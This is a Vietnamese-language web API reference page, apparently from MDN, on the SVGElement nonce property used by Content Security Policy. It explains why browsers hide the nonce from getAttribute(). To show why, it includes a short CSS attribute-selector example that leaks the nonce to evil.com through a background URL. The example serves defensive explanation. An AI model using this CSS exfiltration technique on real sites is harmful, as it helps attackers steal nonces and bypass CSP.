SVGElement: thuộc tính nonce
Baseline
Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2022.
Thuộc tính nonce của giao diện SVGElement trả về nonce được Content Security Policy sử dụng để xác định liệu một yêu cầu tải tài nguyên có được phép tiến hành hay không.
Giá trị
Một chuỗi; nonce mã hóa, hoặc chuỗi rỗng nếu không có nonce nào được đặt.
Ví dụ
>Lấy giá trị nonce
Trước đây, không phải tất cả các trình duyệt đều hỗ trợ thuộc tính IDL nonce, vì vậy một cách khắc phục là thử sử dụng getAttribute như một phương án dự phòng:
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");
// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`
Tuy nhiên, các phiên bản trình duyệt gần đây ẩn các giá trị nonce được truy cập theo cách này (sẽ trả về chuỗi rỗng). Thuộc tính IDL (svg['nonce']) sẽ là cách duy nhất để truy cập nonce.
Việc ẩn nonce giúp ngăn chặn kẻ tấn công đánh cắp dữ liệu nonce thông qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như bộ chọn CSS này:
svg[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Thông số kỹ thuật
| Specification |
|---|
| HTML> # dom-noncedelement-nonce> |
Tương thích trình duyệt
Xem thêm
HTMLElement.noncephương thức tương tự cho các phần tử HTML.- Thuộc tính toàn cục
nonce - Content Security Policy
- CSP:
script-src